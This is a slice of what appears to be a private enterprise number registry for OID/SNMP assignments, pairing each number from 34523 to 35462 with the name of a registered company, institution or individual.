+34523 BlueKrypt
+34524 RIS2048, Lda
+34525 Yesin.NET
+34526 Techsologic
+34527 Matrix Telecom Pvt. Ltd.
+34528 SecureWare
+34529 Iuniperus S.r.l.
+34530 Netpioneer GmbH
+34531 landofnever.net
+34532 mkbdoos
+34533 Compuvisor Lab
+34534 Trimble MRM
+34535 JetTek LLC
+34536 fdXtended
+34537 The Moses H. Cone Memorial Hospital
+34538 s.a. D'Ieteren n.v.
+34539 Netcom XXI Informatica y Comunicaciones, S.L.
+34540 azeti Networks GmbH
+34541 Bematech S.A.
+34542 kindwind technological ltd.
+34543 Susquehanna International Group
+34544 Certant
+34545 Cistera Networks
+34546 RedZinc Ltd
+34547 Glory Global Solutions (formerly 'Talaris')
+34548 Badischer Landwirtschaftlicher Hauptverband e.V.
+34549 University of Saskatchewan
+34550 Austin Hughes Electronics Ltd.
+34551 Zettacon Systems Inc.
+34552 IP SQUARE Softwareerzeuger GmbH
+34553 Spryware
+34554 GrandPower
+34555 Eurasian energy corporation JSC
+34556 EDAN INSTRUMENTS CO., LTD.
+34557 Ministerio de Justicia
+34558 Unassigned
+34559 Maschinenfabrik Reinhausen GmbH
+34560 Marquise Technologies
+34561 VITALATIV, s.r.o.
+34562 FUHST MEHRENS
+34563 Calame
+34564 Hoseo telecom Co., Ltd.
+34565 KVARTA SOFT EOOD
+34566 Tradar Limited
+34567 Micronetics, Inc.
+34568 Synectics
+34569 KB "Uniastrumbank"
+34570 Netdeep Tecnologia
+34571 SIGNION SYSTEMS
+34572 NARI-RELAYS Electric Co., Ltd.
+34573 Finaf S.p.A
+34574 Blackbit Studio
+34575 Kent Imaging Inc.
+34576 HS Emden/Leer
+34577 Correlation Systems Ltd
+34578 OpenNMS Sans Effort (OSE)
+34579 SYM Technology, Inc.
+34580 Need Solutions
+34581 J3TEL
+34582 Tuenti Technologies
+34583 V-Private AG
+34584 unterberg-electronic Gmbh
+34585 REWE-Informations-Systeme GmbH
+34586 Ontario Teachers Pension Plan Board
+34587 Hiive Systems
+34588 Beijing office of International Air Transport Association
+34589 Adnovate
+34590 Novus Produtos Eletronicos Ltda
+34591 JSC Proryv-Komplekt
+34592 Shenzhen C-Data Technology Co.,Ltd.
+34593 Zhilabs
+34594 Growing Opportunity Finance India Private Limited
+34595 Xteam Network(Beijing) Co.,Ltd
+34596 Casalogic A/S
+34597 CADT Software and Drafting, S.L.
+34598 Cable Sense Ltd
+34599 3SI Security Systems NV
+34600 TECSEM Tecnologia em Sistemas Embarcados
+34601 MongoDB
+34602 Bomgar Corporation
+34603 Seria AS
+34604 Fibernetics Corp
+34605 SL Corporation
+34606 Wayne RESA
+34607 Newdaysoft Co., Ltd
+34608 American Society for Microbiology
+34609 Vine Telecom Co., Ltd
+34610 Grand Future Beijing Info-Tech Co., Ltd.
+34611 Berufsförderungswerk Oberhausen
+34612 Alteris Sp. z o.o.
+34613 iKron Ltd.
+34614 Technocats GmbH
+34615 Magyar Ãllamkincstár / Hungarian State Treasury
+34616 ActualWeb Soluciones Informaticas
+34617 RCDevs
+34618 Gruppo TNT S.r.l.
+34619 3Dicom, S.L.
+34620 Asuerus van Tuijl
+34621 imacab
+34622 Heimore Group AB
+34623 USF1
+34624 Tokavuh Technologies oy
+34625 Actavis Group hf
+34626 A-Real Consulting LLC
+34627 Digifix Ltda
+34628 Citrus Networks
+34629 MP Advanced Multimedia
+34630 Tigron BVBA
+34631 Janelia Farm Research Campus/HHMI
+34632 Cohort Technology Ltd
+34633 norgie.net
+34634 Graduate School of Education and Information Studies
+34635 Pi-Systemprogrammierungs-GmbH
+34636 Contact Center Compliance Corporation
+34637 Revenue Solutions, Inc
+34638 Memphis Network Service Ltd.
+34639 Conformity Inc
+34640 Nodnet
+34641 Dimac Hosting AB
+34642 Rugged Information Technology Equipment Corporation
+34643 Garmin International
+34644 Potomac & Bluebonnet Technolgy LLC
+34645 Adael Wireless SARL
+34646 HellermannTyton Data Ltd
+34647 KAMOME Engineering, Inc.
+34648 The-Box Development
+34649 netvisiontel
+34650 P2Cache Pte Ltd
+34651 agama co,ltd
+34652 IPF Technology Ltd
+34653 Irisys
+34654 La Gentz KG
+34655 Berthold Boeser Ingenieurbuero
+34656 ATS, Applicazione Tecnologie Speciali
+34657 Seifert mtm Systems (Malta) Ltd.
+34658 Sysadmins LV
+34659 EPLAN Software & Service GmbH & Co. KG
+34660 SIA Datu Sistemas
+34661 Islandsbanki
+34662 Ajuntament de Sant Adria de Besos
+34663 Lavinia Interactiva
+34664 Trident Micro Systems
+34665 ENTEL S.A. BOLIVIA
+34666 Lava Business Solutions
+34667 DSP LABS S.r.l.
+34668 Koine Servizi S.r.l.
+34669 Encarnate, LLC
+34670 Scott Shen
+34671 Anoop Aryal
+34672 MicroAqua Network system
+34673 The FreeDHCP Project
+34674 FLIR Systems, Inc.
+34675 blackcase.pl
+34676 Vox Telecom
+34677 informationpartners GmbH & Co. KG
+34678 Anticept
+34679 forcont business technology gmbh
+34680 RUAG Holding AG
+34681 DATAGROUP IT Services Holding AG
+34682 ATP Management & Technology s.r.l.
+34683 Seacliff Associates, LLC
+34684 Rosado Beheer BV
+34685 Accipiter Systems, Inc.
+34686 Sunet Technology LLC
+34687 Gale
+34688 King Abdullah University of Science and Technology
+34689 Tekron International Ltd
+34690 National Gypsum Company
+34691 EON Co.,Ltd
+34692 DICOM Grid, Inc
+34693 Netsoft Lund Development AB
+34694 eleven GmbH
+34695 EXTENSION, Inc.
+34696 RIOD Technologies
+34697 AfirmTrust, LLC
+34698 Studio Caccia
+34699 France Développement Conseil
+34700 Beijing Hongdexin Information Technology Co, Ltd.
+34701 BTCentral
+34702 Parity Energy Inc.
+34703 Stefan Sieber
+34704 H. Lundbeck A/S
+34705 ZAO GU NPO "Stroytechautomatika"
+34706 Aprius Inc.
+34707 Centro Federal de Educação Tecnológica de Minas Gerais
+34708 Etrafficers, Inc.
+34709 Lightner Engineering
+34710 Advance Communication Technologies
+34711 Jamaica Broilers Group
+34712 Fujian Newland Auto-ID Tech. Co., Ltd.
+34713 lc4ever.net
+34714 OCULUS Optikgeräte GmbH
+34715 ITVT GmbH
+34716 Vizimax Inc.
+34717 bhold
+34718 FUENSO
+34719 Cronon AG
+34720 mFoundry
+34721 Magyar Waldorf Szövetség / Hungarian Waldorf Fellowship
+34722 FastSoft, Inc.
+34723 Conxx
+34724 netInsight ITLabs
+34725 Vasc-Alert
+34726 Works Systems
+34727 Burda Digital Systems GmbH
+34728 INSA de Lyon
+34729 OOO PS Yandex.Dengi
+34730 FRANCILIENNE D'INGENIERIE ET DE SERVICES INFORMATIQUES SAS
+34731 Sloan Valve Company
+34732 Spb Software Inc.
+34733 Zinnia Systems
+34734 University of Macerata
+34735 Cellfish
+34736 Universidade Estadual Vale do Acaraú - UVA
+34737 CIMNE
+34738 MassiveSolutions Ltd
+34739 lihnidos.org
+34740 University of Ottawa
+34741 Binet Réseau
+34742 LevelMobile, Inc.
+34743 Teleperformance
+34744 QC Technology B.V.
+34745 METADYS
+34746 Kevinsnet Limited
+34747 Infineta Systems, Inc
+34748 Twitter, Inc.
+34749 SubscriberMail, LLC
+34750 Truenorthlogic
+34751 Shanghai Meridian Technologies, Co. Ltd.
+34752 ITDiv.com
+34753 OnTime Networks AS
+34754 PowerTrunk Inc.
+34755 Res Ingenium s.r.l.
+34756 Inoa
+34757 Gorilla Concept GmbH
+34758 Univerza v Ljubljani
+34759 Thames Valley Police
+34760 AMiT s.r.o.
+34761 SSC-IT
+34762 DartIT
+34763 People Power Company
+34764 ProStructure Consulting
+34765 forVNs Group
+34766 Invities
+34767 ISPIN AG
+34768 S+P LION AG
+34769 ACORDE TECHNOLOGIES
+34770 Cardiff University
+34771 Altmann Software
+34772 Automat Limited
+34773 Hx Engineering, LLC
+34774 Huawei Symantec Technologies Co.,Ltd
+34775 Canford Software Consultancy Limited
+34776 TODO BPO E SOLUCOES EM TECNOLOGIA S.A.
+34777 Capek Consulting
+34778 American Customer Care, Inc.
+34779 DeltaGlobal Co. LTD
+34780 IT One
+34781 Unassigned
+34782 dcm4che.org
+34783 Gordian Knot Limited
+34784 Hurtig DataComm
+34785 University of Craiova
+34786 Hartwick Services
+34787 Sunflower Broadband
+34788 Ministerio de Hacienda de El Salvador
+34789 Northgate Information Solutions PLC
+34790 Vtkom d.o.o.
+34791 Centre Hospitalier de Péronne
+34792 Gouvernement de Nouvelle-Caledonie
+34793 Azblink
+34794 JSC Commercial Bank "Center-invest"
+34795 DATA-PKS Ltd.
+34796 MBS GmbH
+34797 AM-GmbH
+34798 Tribunal Regional Eleitoral do Maranhão
+34799 ACTi Corporation
+34800 Polizei Baden-Württemberg
+34801 sublab e.V.
+34802 HomeNet
+34803 Gubkin Russian State University
+34804 Wideband Semiconductor, Inc.
+34805 Zivillian Software
+34806 Optical Systems Design Pty Ltd
+34807 Q-TECH INFORMATION CO.,LTD
+34808 Jiangsu broadcasting television network corporation limited
+34809 WSP Global Inc
+34810 Intermountain Healthcare
+34811 Stollmann E+V GmbH
+34812 Mirifice Ltd
+34813 Multilink
+34814 Zpend Pty. Ltd.
+34815 Angry Dog Business Sytems
+34816 Icon Power Solutions Pvt. Ltd.
+34817 Tamtron Oy
+34818 CPI Corporation
+34819 Nacka kommun
+34820 Satcom Technologies EMC
+34821 Lafayette Consolidated Government
+34822 Calet, Inc.
+34823 VersaForm Systems Corp
+34824 Texas A&M University System
+34825 Pareto Networks Inc.
+34826 Tayana Software Solutions Pvt Ltd
+34827 RT-RK
+34828 Telenor Magyarország Zrt. (formerly 'Pannon GSM Távközlési Zrt.')
+34829 GraphLogic Inc
+34830 Forers, s. r. o.
+34831 The Freecycle Network
+34832 Intelibs, Inc
+34833 DrivenDown.com
+34834 BermudaTriangle.com
+34835 Hypercable
+34836 Denkosha Co.,Ltd.
+34837 Arrive Technologies
+34838 Innovative SCADA Solutions Pty Ltd
+34839 abakus IT AG
+34840 Shanghai Huaheng Telecom Equipment Co.,Ltd
+34841 Gordon Food Service, Inc.
+34842 TERASAKI ELECTRIC CO.,LTD
+34843 NASCENT Technology, LLC
+34844 Gennet S.A.
+34845 Faculté des Sciences et Techniques de Tanger
+34846 SERTRES del Norte
+34847 Spacetime Studios, LLC
+34848 Shibasoku
+34849 Security Code Ltd.
+34850 EldoS Corporation
+34851 Adalia Oy
+34852 Roeften
+34853 RainStor
+34854 indeni
+34855 Votiro Ltd. (formerly 'MobileTick Ltd')
+34856 ALTAVIA SA
+34857 BaiY Studio
+34858 Wireless Networks Association (WNA.gr)
+34859 jgfs.net
+34860 Finalist IT Group
+34861 Rajant Corporation
+34862 Fundamo
+34863 Leopold Kostal GmbH & Co. KG
+34864 Mito Europe Ltd
+34865 World Evolved Services, LLC
+34866 Suffolk County Council (formerly 'Customer Service Direct')
+34867 Universitaet Greifswald
+34868 Winnerstek Inc.
+34869 Ian Hine Consulting
+34870 Megabyte Doctor (Pty) Ltd
+34871 trovicor GmbH
+34872 ETM Communications AB
+34873 Klein & Partner KG
+34874 Automasjon og Data as
+34875 Alpikom SpA
+34876 Informatics Corporation of America
+34877 Masergy Communications, Inc.
+34878 Advanstar Communications Inc.
+34879 BlueCross BlueShield of Minnesota
+34880 Cortina Systems
+34881 EVT Technologies LTD
+34882 Kolektor Group
+34883 House Arkko
+34884 David Wozny Limited
+34885 SSI (US) Inc
+34886 Compagnie des Alpes
+34887 Iariss
+34888 Gatix
+34889 McKnight Insight
+34890 Aizkraukles Banka A/S
+34891 Croatia Control Ltd.
+34892 Kedros, a.s.
+34893 Leeds City Council
+34894 Global Strategies Group, Mission Systems
+34895 ITaM Services
+34896 Gorilla Logic, Inc.
+34897 Centro Brasileiro de Pesquisas Fisicas
+34898 CESEC-SFF
+34899 H5 audits
+34900 Informations Technologie Service und Consulting GmbH
+34901 Fortunaglobal (Pvt) Limited
+34902 IT Industry LTD
+34903 M247 Ltd
+34904 KRC OOO
+34905 G-Lab
+34906 RadiantGrid Technologies, LLC
+34907 TELEVIC N.V.
+34908 CareCloud Corp
+34909 RHD Research Ltd
+34910 Geeknet, Inc.
+34911 Nanjing Jiajian Network Co. Ltd.
+34912 PT. Nyra
+34913 TDM Ingénierie
+34914 Creative Consulting GmbH
+34915 Free Software Foundation Europe e.V.
+34916 Walki Group Oy
+34917 Car Chase Workshop Inc.
+34918 Syncapse Corp.
+34919 Sky Wisdom Technology Limited
+34920 Allen Lund Company
+34921 EvoStor Inc.
+34922 Epic Advertising Inc
+34923 KOOLING
+34924 Augustine Consulting
+34925 Nantes Systems Private Limited
+34926 Limited Liability Company "Wild Orchid"
+34927 DL Santé
+34928 ACVITAS
+34929 SURGIDEX
+34930 Caneris Inc
+34931 ShangHai DynamiCode Company Limited
+34932 CMS Affiliate
+34933 CPO Partners
+34934 CirclePrinters
+34935 marmira
+34936 Creowave Oy
+34937 UniversitaetsSpital Zurich
+34938 Fédération française d'équitation
+34939 SURMEI MIHAI-EUGEN
+34940 Roman V. Kiseliov
+34941 DiegoLima.org
+34942 Cambrium BV.
+34943 Sumisho Computer Systems Corporation
+34944 Amplus Communication PTE LTD
+34945 Albert Ziegler GmbH & Co. KG
+34946 Densitron Technologies Limited (formerly 'Independent Project Engineering Ltd')
+34947 chill-n-go, Inc
+34948 NORMHOST
+34949 Electronics Source Co.,Ltd.
+34950 Herrmann & Lenz Solutions GmbH
+34951 Komercijalna Banka AD Skopje
+34952 nxtControl GmbH
+34953 Concentric Circle Consulting
+34954 Novtis do Brasil S/A
+34955 Roland Gruber Softwareentwicklung
+34956 Shanghai Transform IT Co. Ltd
+34957 TTC Next-generation Home Network System WG
+34958 Logilin
+34959 Ingenieurbuero Berghofer KG
+34960 SuperHost.pl s.c.
+34961 H&S Hochfrequenztechnik GmbH
+34962 Falco Networks B.V.
+34963 Idle Pattern Communications, LLC
+34964 Carbones del Cerrejon Ltd.
+34965 Ricardo I. Vieitez Parra
+34966 Global Rail Systems, Inc
+34967 Sichuan Hongguan Communication Technology Co., Ltd.
+34968 Airimba Wireless, Inc.
+34969 REGNIA,Inc.
+34970 Institut Teknologi Nasional (ITENAS)
+34971 Ethereal Information Technology, Ltd.
+34972 Eric Huss
+34973 MIANYANG NETOP TELECOM EQUIPMENT LTD.CO.
+34974 alentogroup.org
+34975 IPROAD, Inc.
+34976 Mathew Systems Inc.
+34977 Node-Nine, Inc.
+34978 Laysis Consulting Inc.
+34979 Scientis Solutions Ltd
+34980 linexus
+34981 cramif
+34982 Eye Pea Ltd. (formerly 'exaStack Limited')
+34983 013Netvision
+34984 ER Technology Ltda.
+34985 kylimar.com
+34986 Bookmans
+34987 OneWire
+34988 Clearstone Central Laboratories
+34989 appventure GmbH
+34990 Vodafone Czech Republic a.s.
+34991 SooperCreations
+34992 Microlynx Systems Ltd
+34993 Cymfony
+34994 d3v Systems
+34995 DBMJ Rehabilitation Services, PLLC
+34996 Richard D. Ball, MD, PhD
+34997 Kyoto University of Education
+34998 CILogon Project
+34999 JSC «Institute of infotelecommunications»
+35000 OptXware Research&Development Ltd.
+35001 NERINFORMATICA DI NERI LUCIANO (formerly 'APTASYS S.R.L.')
+35002 dcux Co.Ltd.
+35003 ADP ESI
+35004 Bahia Software SL
+35005 IMS Nanofabrication AG
+35006 Vivio World
+35007 mPAY24 GmbH
+35008 Corporation Service Company
+35009 Techno Factory Desenvolvimento de Software Ltda.
+35010 ATK-tehdas Oy
+35011 Toyota Finance Australia Ltd.
+35012 StorSimple
+35013 Sweet Briar College
+35014 Fenzke Netzwerktechnik GmbH
+35015 PWM Project
+35016 Bank-Pedersen
+35017 Western Range Maintenance
+35018 GoMidjets
+35019 Decho Corporation
+35020 nangu.TV
+35021 TranSoft a.s.
+35022 Sueddeutscher Verlag
+35023 Heirich IT Dienste GmbH
+35024 Hospital Sierrallana - Servicio Cántabro de Salud
+35025 Lachlan Gunn
+35026 PRODIST TECHNOLOGIES LTDA.
+35027 liuxiangbupt.com
+35028 netPark LLC
+35029 K.C.Innovations Co.,Ltd.
+35030 Run Technologies Co.,Ltd.Beijing
+35031 GP NPF "Ratex"
+35032 BelTechInfo
+35033 Global Net Commerce, Inc.
+35034 Sentai Digital, LLC
+35035 interCLICK
+35036 ASKO-IT
+35037 Onesource
+35038 XYMA-SONDEO
+35039 Denva ApS
+35040 Xiamen Helios Telecom Equipment Manufacture Inc.
+35041 Electro Power Systems SpA
+35042 Sporting Index Ltd
+35043 Tripower
+35044 CJSC Schelkovo Agrochim
+35045 Mathieu Malaterre Consulting
+35046 Intucell
+35047 Sangfor Technologies Co.,Ltd.
+35048 ShenZhen GreatFirst Technology Co., Ltd.
+35049 Marler Media
+35050 topdog.ru.net
+35051 Systemnoe Modelirovanie i Analiz LLC
+35052 Condrey Corporation
+35053 LLC "Promo Interactive"
+35054 Jan Schampera
+35055 Gameloft
+35056 whiteroad
+35057 UNESP
+35058 NikB-Soft
+35059 VarnaNet
+35060 IGI Mobile, Inc.
+35061 Normation
+35062 AiN-Tech. Corp.
+35063 Ukraine Property Group, Ltd.
+35064 Jderobot
+35065 Sinequa
+35066 HLRN
+35067 mail.de GmbH
+35068 Virgo Systems Kft.
+35069 Worldwide Trust Asia Pte Ltd
+35070 Plausible Labs Cooperative, Inc.
+35071 Q & M Informática Ltda
+35072 NGK Houten
+35073 GateWare Communications GmbH
+35074 MaxMara Fashion Group s.r.l.
+35075 BlueTech Technology Co., Ltd.
+35076 synfin.de
+35077 Gracenote Inc.
+35078 i-fabrik GmbH
+35079 Terminal Quequen S.A
+35080 KDH
+35081 Sarana Tunggal Pratama
+35082 Amaranten (ASIA) Network Co. Ltd.
+35083 TOSS GmbH
+35084 RBS Coutts International
+35085 EURO-INFORMATION
+35086 ReliabilityFirst Corporation
+35087 BD Consult A/S
+35088 SRA International, Inc
+35089 Bluebird Electronics Ltd
+35090 CTI
+35091 Mitec Telecom Inc
+35092 Made IT
+35093 AT Testing
+35094 iDevices Industria e Comercio de Produtos Eletronicos Ltda
+35095 OFFICE24 Co.,Ltd.
+35096 SmartEquip Inc.
+35097 BlueWater Communication Group
+35098 PICA8 Inc.
+35099 E-Mice Solutions (H.K.) Limited
+35100 Globelinks Technologies Limited
+35101 SHENZHEN SHENXUN INFORMATION TECHNOLOGY DEVELOPMENT CO.,LID
+35102 Guangdong Huada Integrated Technology Co.,ltd.
+35103 Sichuan Cybercamera Information Technology Co.,Ltd
+35104 Oerlikon Textile
+35105 Mason Brown Development, LLC
+35106 Reale Mutua Assicurazioni
+35107 Prosol Group (Pty) Ltd
+35108 tocore education
+35109 Scienta Media s.r.o
+35110 443 Pty Ltd
+35111 NBank - Investitions und Förderbank
+35112 Vem Sistemi SpA
+35113 OpTier
+35114 Robert Wood Johnson University Hospital
+35115 SqueakSoft.com, LLC
+35116 Trover Solutions
+35117 BamNet
+35118 Korestone Technologies
+35119 Belhard Group JSC
+35120 SIDN
+35121 BULiGL
+35122 Wayob
+35123 Clear Channel Radio Digital
+35124 FilesAnywhere.com
+35125 Helmut Ritter
+35126 Vodafone Group Services GmbH
+35127 Japan Communication Inc.
+35128 KWS-Electronic GmbH
+35129 Rahn & Bodmer Co.
+35130 fipscode
+35131 London Underground Ltd
+35132 IFProject
+35133 Gobierno de la Republica NeuKarthago
+35134 4Access Communications Company, Inc.
+35135 Personal Software Company
+35136 BlueStripe Software
+35137 Chris Clayson
+35138 PK Verkkotaito Oy
+35139 AZWUL
+35140 CableHD Radio Network
+35141 PSIGlenmere
+35142 VX4.NET
+35143 Helpo Systems
+35144 Power Quadrant
+35145 Gearbit
+35146 China Net Cloud
+35147 Wishfi Pte. Ltd
+35148 Technological Educational Institute of Piraeus
+35149 NPO Lisco Ltd.
+35150 inno-networks
+35151 Raiffeisen Bank Aval
+35152 AvroRAID
+35153 Kynetics srl
+35154 PowerShield Ltd.
+35155 IP Cube Co.,Ltd
+35156 Unbit
+35157 University of Manitoba
+35158 Osaka International Educational Institution
+35159 ITC MIKS, LLC
+35160 Equicom
+35161 Venturi S.R.L.
+35162 TeleOSS Consulting Ltd.
+35163 OOO InfoTechService
+35164 Black Earth Consulting Ltd
+35165 Barid Al Maghrib
+35166 E2E Networks Private Limited
+35167 MPI Bremen
+35168 NT Services Ltd.
+35169 Sven Christel
+35170 Bioptic Co., Ltd.
+35171 Cloudeva
+35172 Nordex
+35173 Automobile Association "DreamCar"
+35174 PBS&J
+35175 TamKang University - Information Management Network Association
+35176 Asavie Technologies Ltd.
+35177 Control4
+35178 MJV Tecnologia Ltda
+35179 danzuck
+35180 Mark Domansky Consulting
+35181 Techubs Network
+35182 Aggregate Knowledge, Inc
+35183 Rob Haverkort BV
+35184 Kontorsplatsen Business Group AB
+35185 PlainText s.r.o.
+35186 Hiromasa Nara
+35187 kunming ucrown network system (china) ltd. co
+35188 Eventide
+35189 Thermo Fisher Scientific Inc (formerly 'Thermo Electron LED GmbH')
+35190 Trice Imaging, Inc. (formerly 'Great Connection')
+35191 Applied Software Control Ltd.
+35192 Miracle Tan
+35193 MicroNet Video Technology Ltd.,
+35194 Barclays Capital
+35195 Rudraksha Technology Private Limited
+35196 Demonware Limited
+35197 INTEGRA Software Systems
+35198 Al-Madinah International University
+35199 DynCorp International LLC
+35200 ARIAL
+35201 Ochanomizu University
+35202 TechniData AG
+35203 squatlabs
+35204 Younicos AG
+35205 SIAG-OMC
+35206 AllDSP GmbH & Co. KG
+35207 Dynamica s.r.l
+35208 Trubiquity GmbH
+35209 Fomento de Construcciones y Contratas, S.A
+35210 Bechtle AG
+35211 North Point Technology LLC
+35212 dealnews.com, Inc.
+35213 Sandbox Solutions
+35214 Agence pour l'Enseignement Français à l'Etranger
+35215 ZAO "Begun"
+35216 w-Ha
+35217 Adknowledge Inc
+35218 Beemaster ICT
+35219 FttX.nu
+35220 Ioannes Co., LTD
+35221 S.C. InterData Systems S.R.L.
+35222 NewYork-Presbyterian Hospital - Radiation Oncology
+35223 Insight International Corporation
+35224 Langara College
+35225 Shanghai HOWZONE Network Communication Device Co.,LTD
+35226 Bureau Software Development Corporation
+35227 OOO Nika Motors Holding
+35228 Commsquare BVBA
+35229 Intercard Services AD
+35230 Generic Sweden AB
+35231 Arca Sistemi SCARL
+35232 Imaging In Motion LLC
+35233 WHITEBEARSOLUTIONS
+35234 Computerized Assessments & Learning, LLC
+35235 Hargrove & Associates, Inc.
+35236 Florian Rupp Ingenieur
+35237 KBJ S.A.
+35238 Novgorod Information and Analitical Centre
+35239 NetSieben Technologies INC.
+35240 Beehivetesting
+35241 Betz Stefan -- Webdesign & Computerservice
+35242 Cygnus Networks GmbH
+35243 Dorna Sports
+35244 Wojo
+35245 Railcar Management, Inc
+35246 OS Qingdao University
+35247 OpenDL Pty Ltd
+35248 Serendio Inc
+35249 ALTAMYS - Tiers de Confiance
+35250 Simply-Info
+35251 AWIND Inc
+35252 SAM Electronics
+35253 AixSolve GmbH
+35254 NOS Comunicações (formerly 'ZON Multimédia')
+35255 Mind Candy Ltd
+35256 Iondale Information Services Limited
+35257 Brisa Inovação e Tecnologia, SA
+35258 HEHA.ORG
+35259 Televersions LLC.
+35260 Rotkraut
+35261 Norwegian Defence
+35262 Stadtwerke Saarbruecken GmbH (formerly 'Versorgungs- und Verkehrsgesellschaft Saarbruecken mbH')
+35263 Araneo Limited
+35264 TetraStorm Technologies
+35265 Eltex Enterprise, Ltd.
+35266 EJJE, Lda
+35267 Eten Technologies Inc.
+35268 ORESCO
+35269 Siemens AG Österreich, CMT (formerly 'Siemens AG Österreich, SIS SDE SVI OSS SAC')
+35270 Samji Eletronics Co., Ltd.
+35271 micallef.fr
+35272 DEBID
+35273 Jah'Z Interactive
+35274 CHU Angers
+35275 SMARIS s.r.o.
+35276 TopCoder, Inc.
+35277 ZZ Dats Ltd
+35278 Texas Communications Inc.
+35279 Singlenesia Software
+35280 QuickPlay Media, Inc.
+35281 METRACOM
+35282 Community Health Network
+35283 Pacific Blue Cross
+35284 UROEP.COM
+35285 Ministry of Administration and Interior - General Directorate for IT & C
+35286 Johanniter-Unfall-Hilfe e. V. - Landesverband Baden-Wuerttemberg
+35287 Mobile Metrics
+35288 Deep Web GmbH & Co KG
+35289 Quative Limited
+35290 ptman.name
+35291 Embvue
+35292 Embedded Solutions Group
+35293 Collegium Josephinum Bonn
+35294 INETJ Communications, LTD
+35295 ExitPi
+35296 Cyclone Microsystems Inc.
+35297 orainf
+35298 dvsAnalytics, Inc.
+35299 Universidad del Valle de Guatemala
+35300 REGISTRO NACIONAL DE IDENTIFICACIÓN Y ESTADO CIVIL
+35301 Kvazar Test
+35302 Outblaze Limited
+35303 Velocity
+35304 Procube Ltd.
+35305 DB ELETTRONICA TELECOMUNICAZIONI SPA
+35306 Equinox Software, Inc.
+35307 Screwgun Logic
+35308 Koukaam a.s.
+35309 am-cor inc.
+35310 Gaggle.Net, Inc.
+35311 ARANZ Medical Ltd
+35312 gabosh
+35313 Spinnaker Web Design & Hosting LLC
+35314 Conergos GmbH & Co. KG
+35315 Wave Creative Technologies
+35316 Schauer Hungaria Kft.
+35317 Kolibri Systems B.V.
+35318 Kutztown University
+35319 Ingenu, Inc. (formerly 'On-Ramp Wireless, Inc.')
+35320 Università degli Studi di Torino
+35321 Profitcomputing s.r.o.
+35322 PJRC.COM, LLC
+35323 Kliniken Nordoberpfalz AG
+35324 Edutel B.V.
+35325 Universität Witten/Herdecke
+35326 University of Music and Drama Hannover
+35327 SMABTP
+35328 BlueCrest Capital Management
+35329 S. Walter Packaging
+35330 RRsat Global Communications Network
+35331 Faculdade Natalense para o Desenvolvimento do Rio Grande do Norte
+35332 Alticast Corp.
+35333 pk0
+35334 Lamda Networks
+35335 Alion Science and Technology
+35336 Lime Labs, LLC
+35337 Primitives.lv
+35338 IMFirewall Software
+35339 Yambay Technologies Pty Ltd
+35340 dustOS
+35341 Bundesamt f. Eich- und Vermessungswesen
+35342 American HomePatient
+35343 Cairo University Hospitals
+35344 Thales Defence Deutschland GmbH
+35345 SRC d.o.o.
+35346 Northern Ireland Housing Executive
+35347 WuHan RenTang Information Limited
+35348 RTQA Medical Limited
+35349 Takahashi Yusuke
+35350 DS-Department
+35351 Silver Sky Soft
+35352 A&R Carton
+35353 Entry Point
+35354 Nintendo of America Inc.
+35355 Intelliresponse Systems Inc
+35356 Telezygology, inc.
+35357 Garden State Health Systems
+35358 Syntervision
+35359 Fensom System S.L.
+35360 ZODIAC Data Systems GmbH
+35361 Newtel Engineering S.r.l.
+35362 Quill Training Systems Ltd
+35363 University of Huddersfield
+35364 Seattle Children's Hospital
+35365 Schroff Technologies International, Inc
+35366 ChengDu OuRuan Corp., Ltd.
+35367 ITL, LLC
+35368 doubango
+35369 3iMedia GmbH
+35370 natnat inc.
+35371 Infocore.Inc
+35372 Daniel Clark
+35373 Slovak Telekom, a.s.
+35374 Universidade Federal do Espirito Santo
+35375 UAB "Mano numeris"
+35376 SOFTWAY MEDICAL
+35377 Funkwerk IP-Appliances GmbH
+35378 Antwerpse Waterwerken
+35379 ISiS Papyrus Software AG
+35380 Rogers Broadcasting Ltd. - Vancouver Television
+35381 Informatikos ir rysiu departamentas prie Lietuvos Respublikos vidaus reikalu ministerijos
+35382 EuPathDB Bioinformatics Resource Center
+35383 Swissfram SRL
+35384 International Social Security Association
+35385 Far Systems SpA
+35386 Neverfail Group
+35387 Ning
+35388 Beyel
+35389 KIWIGRID
+35390 Fednot asbl / vzw (formerly 'Credoc services CVBA')
+35391 HealthTrio, LLC
+35392 sepox.de
+35393 Blue Vervet Ltd
+35394 SuKaiTek
+35395 PT. Prima Teknologi
+35396 ZAO Intercross
+35397 x-fabric GmbH
+35398 IDKAYA
+35399 CeNetMon
+35400 Noumenon, LLC
+35401 ElectroLink Srl
+35402 Internet Connectivity Group, Inc
+35403 Hochschule Mittweida
+35404 Beijing C&W Optical Communication Technology Co.,Ltd.
+35405 Default Deny Security
+35406 RADiflow
+35407 BOUYGUES IMMOBILIER
+35408 Ing. Roman Těšík
+35409 AccelOps, Inc.
+35410 SOLIS - Cooperativa de Soluções Livres Ltda
+35411 Fortium Technologies Ltd
+35412 CZ-MAN s.r.o.
+35413 GlideAround LLC
+35414 Molisoft grupo empresarial S.L.
+35415 Universitas Surabaya
+35416 DHD Deubner Hoffmann Digital GmbH
+35417 Randstad Deutschland
+35418 icub3d
+35419 Electron, Ltd.
+35420 rtron
+35421 ChinaScope Financial Limited
+35422 Schweizer Paraplegiker-Zentrum
+35423 berolina Schriftbild GmbH & Co. KG
+35424 Viprinet GmbH
+35425 Mastery Technologies, Inc.
+35426 The OpenSSH Project
+35427 Data Turbine, Inc.
+35428 Sterling Computer Systems
+35429 Limis
+35430 IntelligentWorks Co., Ltd.
+35431 KAMFU Infomation & Technology Co., LTD.
+35432 Superblock, LLC
+35433 Connexion Technologies
+35434 Quadrant Newmedia Corp.
+35435 Anabasis Consulting Ltd.
+35436 01.com, Inc.
+35437 SERPRO - Serviço Federal de Processamento de Dados
+35438 ekom21 - KGRZ Hessen
+35439 App B.V.
+35440 Faivre et Mahon
+35441 corporacion empresarial iunka
+35442 deZem GmbH
+35443 Cat Consulting, Inc
+35444 Spectralnet Sollutions, LLC
+35445 Information Security Service Digital United
+35446 Connaught FactsLine Ltd.
+35447 SeeByte Ltd.
+35448 Video Location Service
+35449 Keytech BVBA
+35450 Storagedata
+35451 Incenp
+35452 Commercial Bank DeltaCredit
+35453 DREAM TRAIN INTERNET, INC.
+35454 Niometrics Pte Ltd
+35455 Tokyo Metropolitan Organization for Medical Research
+35456 Westway Nominees
+35457 Infocomm Development Authority Of Singapore
+35458 Dossot Networks
+35459 LEMKO Corporation
+35460 EDAXI UG (haftungsbeschraenkt)
+35461 Bernhard Dick
+35462 Qingdao Hisense Media Networks LTD
